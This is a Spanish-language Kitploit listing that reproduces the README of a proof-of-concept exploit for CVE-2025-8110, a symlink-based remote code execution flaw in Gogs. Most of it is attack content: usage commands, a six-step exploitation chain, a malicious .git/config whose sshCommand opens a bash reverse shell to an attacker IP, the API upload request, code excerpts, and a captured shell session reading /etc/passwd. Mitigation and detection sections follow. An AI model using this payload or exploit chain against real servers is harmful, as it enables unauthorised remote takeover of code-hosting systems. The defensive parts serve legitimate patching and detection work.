Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-8110 — Exploit PoC para CVE-2025-8110 | Kitploit
Herramientas/GitHubGitHub/joaquinrrr/cve-2025-8110
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso Remoto
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

Exploit PoC para CVE-2025-8110

Ver Repositorio
51hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-8110

Ejecución Remota de Código mediante Enlace Simbólico en Repositorios de Gogs

Creado por oguiii


Índice de Contenidos

  • Resumen
  • Características
  • Requisitos
  • Instalación
  • Uso
  • Flujo de Explotación
  • Análisis Técnico
  • Demostración Prueba de Concepto
  • Versiones Afectadas
  • Mitigación
  • Detección
  • Aviso Legal
  • Licencia

Resumen

CVE-2025-8110 es una vulnerabilidad crítica en Gogs que permite a atacantes autenticados lograr ejecución remota de código mediante la manipulación de enlaces simbólicos en repositorios. Esta prueba de concepto demuestra la cadena de explotación completa, desde la autenticación hasta la obtención de una shell inversa.

La vulnerabilidad existe porque Gogs sigue enlaces simbólicos al manejar archivos de repositorio a través de su API, permitiendo a un atacante leer y modificar archivos sensibles como .git/config. Al inyectar una directiva maliciosa, se pueden ejecutar comandos arbitrarios del sistema con los privilegios de la cuenta de servicio de Gogs.

Descargar herramienta
sshCommand

Puntuación CVSS: 7.2 (Alta)
Vector de Ataque: Red
Autenticación Requerida: Sí
Interacción del Usuario: Ninguna
Impacto: Compromiso completo del sistema


Características

  • Extracción automatizada de token CSRF con múltiples métodos alternativos
  • Gestión de sesión y manejo de autenticación
  • Creación automática de repositorios con parámetros configurables
  • Flujo de explotación basado en enlaces simbólicos
  • Generación de payload para shell inversa
  • Soporte de proxy para depuración y análisis
  • Registro detallado y manejo de errores
  • Salida de consola coloreada para mejorar la legibilidad
  • Modo verbose para solución de problemas

Requisitos

Requisitos del Sistema

  • Python 3.6 o superior
  • Git instalado y accesible en PATH
  • Acceso de red a la instancia de Gogs objetivo

Dependencias de Python

root@kitploit:~
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

Instalación

Clonar y Configurar

root@kitploit:~
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

Estructura del Proyecto

root@kitploit:~
CVE-2025-8110/
├── CVE-2025-8110.py    # Script de explotación principal
├── requirements.txt    # Dependencias de Python
└── README.md          # Documentación

Uso

Opciones de Línea de Comandos

OpciónDescripciónRequerido
-u, --urlURL base de Gogs (ej. https://gogs.ejemplo.com)Sí
-lh, --hostDirección IP del atacante para la shell inversaSí
-lp, --portPuerto del atacante para la shell inversaSí
-U, --usernameNombre de usuario de GogsSí
-P, --passwordContraseña de GogsSí
-x, --proxyHabilitar proxy (localhost:8080)No
-v, --verboseHabilitar salida detalladaNo

Uso Básico

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

Con Proxy para Depuración

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

Modo Verbose para Solución de Problemas

root@kitploit:~
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

Flujo de Explotación

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                    CVE-2025-8110 Exploitation Chain                        │
└─────────────────────────────────────────────────────────────────────────────┘

Paso 1: Autenticación
├── Navegar a /user/login
├── Extraer token CSRF de la página de inicio de sesión
├── Enviar credenciales con el token CSRF
└── Establecer sesión autenticada

Paso 2: Generación de Token de Aplicación
├── Navegar a /user/settings/applications
├── Extraer token CSRF de la página de configuración
├── Generar nuevo token de aplicación
└── Extraer token de la respuesta

Paso 3: Creación de Repositorio Malicioso
├── Crear repositorio mediante API con auto_init
├── Generar nombre de repositorio aleatorio
└── Obtener URL del repositorio

Paso 4: Subida de Enlace Simbólico
├── Clonar repositorio localmente
├── Crear enlace simbólico apuntando a .git/config
├── Agregar, confirmar y subir cambios
└── Verificar subida exitosa

Paso 5: Explotación RCE
├── Crear .git/config malicioso con sshCommand
├── Codificar contenido de configuración en Base64
├── Subir mediante API al destino del enlace simbólico
└── Desencadenar ejecución de comandos

Paso 6: Shell Inversa
├── Conexión establecida con el host atacante
├── Acceso interactivo a la shell
└── Ejecución de comandos en el objetivo

Análisis Técnico

Causa Raíz de la Vulnerabilidad

Gogs no sanitiza adecuadamente la travesía de enlaces simbólicos al manejar archivos de repositorio a través de su API. Cuando se accede a un archivo mediante el endpoint de la API, Gogs sigue enlaces simbólicos sin validación, permitiendo el acceso a archivos sensibles fuera del directorio del repositorio.

Detalles del Vector de Ataque

  1. Creación del Enlace Simbólico

    root@kitploit:~
    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "Add symlink"
    git push origin master
    
  2. Configuración Maliciosa

    root@kitploit:~
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. Explotación mediante API

    root@kitploit:~
    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "Exploit CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

Análisis de Código

Extracción de Token CSRF

root@kitploit:~
def extract_csrf(html_text):
    """Parse CSRF token from hidden input with multiple fallback methods."""
    # Method 1: Input with name _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 2: Input with name csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 3: Meta tag with CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 4: Regex pattern in script tags
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # Method 5: Regex for hidden input
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("CSRF token not found in form response")

Inyección de Configuración Maliciosa

root@kitploit:~
git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

Demostración Prueba de Concepto

Configuración del Ataque

root@kitploit:~
# Máquina atacante (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# Ejecutar exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123

Salida de Explotación Exitosa

root@kitploit:~
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin

[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully

[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0

[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b

[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully

[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!

[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)

Conexión de Shell Inversa

root@kitploit:~
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Versiones Afectadas

Versiones Vulnerables

  • Versiones de Gogs anteriores a 0.12.6
  • Todas las versiones con soporte de enlaces simbólicos habilitado (configuración predeterminada)

Verificación de Versión

Para verificar la versión de Gogs:

root@kitploit:~
# Acceder a la interfaz web de Gogs y revisar el pie de página
# O usar la API
curl https://gogs.ejemplo.com/api/v1/version

Mitigación

Acciones Inmediatas

  1. Actualizar Gogs

    root@kitploit:~
    # Respaldar la instalación existente
    cp -r /home/gogs/gogs /home/gogs/gogs.backup
    
    # Descargar e instalar la última versión
    wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
    unzip gogs_latest_linux_amd64.zip
    cd gogs
    ./gogs web
    
  2. Deshabilitar Soporte de Enlaces Simbólicos

    root@kitploit:~
    # En custom/conf/app.ini
    [repository]
    DISABLE_SYMLINKS = true
    
  3. Implementar Validación de Entrada

    • Sanitizar rutas de archivos antes de procesarlos
    • Prevenir la travesía de enlaces simbólicos
    • Validar tipos y contenido de archivos

Medidas de Seguridad a Largo Plazo

  • Implementar principio de menor privilegio para la cuenta de servicio de Gogs
  • Auditorías de seguridad periódicas y pruebas de penetración
  • Segmentación de red para limitar la exposición de Gogs
  • Implementar reglas de Firewall de Aplicaciones Web (WAF)
  • Habilitar registro completo y monitoreo
  • Respaldos regulares de la configuración y repositorios de Gogs

Reglas de Firewall

root@kitploit:~
# Limitar acceso a la API de Gogs
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP

Detección

Indicadores de Actividad Sospechosa

  1. Actividad en Repositorios

    • Creación de repositorios con enlaces simbólicos
    • Múltiples repositorios creados en un corto período de tiempo
    • Nombres de repositorio inusuales (cadenas hexadecimales aleatorias)
  2. Actividad en API

    • Solicitudes PUT a /api/v1/repos/*/contents/*
    • Modificación de .git/config mediante API
    • Alta frecuencia de solicitudes API desde una sola sesión
  3. Indicadores del Sistema

    • Procesos inesperados iniciados por el usuario de Gogs
    • Conexiones de red salientes desde el servidor de Gogs
    • Patrones de acceso al sistema de archivos inusuales

Comandos de Análisis de Registros

root@kitploit:~
# Revisar registros de acceso de Gogs en busca de explotación de API
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT

# Monitorear la creación de enlaces simbólicos en repositorios
find /home/gogs/gogs-repositories -type l

# Verificar modificaciones sospechosas en git config
grep -r "sshCommand" /home/gogs/gogs-repositories/

# Monitorear conexiones salientes
ss -tunp | grep gogs

Integración con SIEM

root@kitploit:~
{
  "event_type": "gogs_api_access",
  "severity": "high",
  "indicators": [
    "PUT /api/v1/repos/*/contents/*",
    "sshCommand in git config",
    "random hex repository names"
  ],
  "recommended_actions": [
    "Review repository creation logs",
    "Check for symlink files",
    "Verify API access patterns"
  ]
}

Divulgación Responsable

Esta vulnerabilidad fue descubierta y divulgada de manera responsable al equipo de desarrollo de Gogs. El proveedor ha publicado un parche en la versión 0.12.6.

Cronología

  • Descubrimiento: Mayo 2025
  • Divulgación Responsable: Junio 2025
  • Publicación del Parche: Junio 2025
  • Divulgación Pública: Junio 2025

Recursos Adicionales

  • Avisos de Seguridad Oficiales de Gogs
  • CWE-61: Seguimiento de Enlaces Simbólicos UNIX
  • Guía de Pruebas de OWASP - Path Traversal
  • Documentación de Git hooks
  • Documentación de la API de Gogs

Aviso Legal

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Los usuarios deben:

  1. Obtener permiso explícito por escrito antes de probar cualquier sistema
  2. Cumplir con todas las leyes y regulaciones aplicables
  3. Usar esta herramienta de manera responsable y ética
  4. No utilizar esta herramienta con fines maliciosos o no autorizados

El autor no asume ninguna responsabilidad por el uso indebido o daños causados por esta herramienta.


Licencia

Licencia MIT

Copyright (c) 2025 oguiii

Por la presente se concede permiso, libre de cargos, a cualquier persona que obtenga una copia de este software y de los archivos de documentación asociados (el "Software"), para tratar el Software sin restricción, incluyendo sin limitación los derechos de usar, copiar, modificar, fusionar, publicar, distribuir, sublicenciar y/o vender copias del Software, y para permitir a las personas a las que se les proporcione el Software a hacerlo, sujeto a las siguientes condiciones:

El aviso de copyright anterior y este aviso de permiso deberán incluirse en todas las copias o partes sustanciales del Software.

EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A LAS GARANTÍAS DE COMERCIABILIDAD, IDONEIDAD PARA UN PROPÓSITO PARTICULAR Y NO INFRACCIÓN. EN NINGÚN CASO LOS AUTORES O TITULARES DEL COPYRIGHT SERÁN RESPONSABLES DE NINGUNA RECLAMACIÓN, DAÑO U OTRA RESPONSABILIDAD, YA SEA EN UNA ACCIÓN DE CONTRATO, AGRAVIO O CUALQUIER OTRO MOTIVO, QUE SURJA DE O EN RELACIÓN CON EL SOFTWARE O EL USO U OTRAS OPERACIONES CON EL SOFTWARE.


Contacto

  • GitHub: github.com/oguiii
  • Proyecto: Exploit CVE-2025-8110

Agradecimientos

  • Descubrimiento Original: zAbuQasem
  • Publicación de CVE: MITRE Corporation
  • Comunidad: Investigadores de seguridad y profesionales de pruebas de penetración que validaron la vulnerabilidad

Registro de Cambios

Versión 1.0.0 (2025-06-25)

  • Lanzamiento inicial
  • Implementación completa de la cadena de explotación
  • Extracción de token CSRF con métodos alternativos
  • Creación automática de repositorios y subida de enlaces simbólicos
  • Generación de payload de shell inversa
  • Soporte de proxy para depuración
  • Documentación completa

Hecho con dedicación por oguiii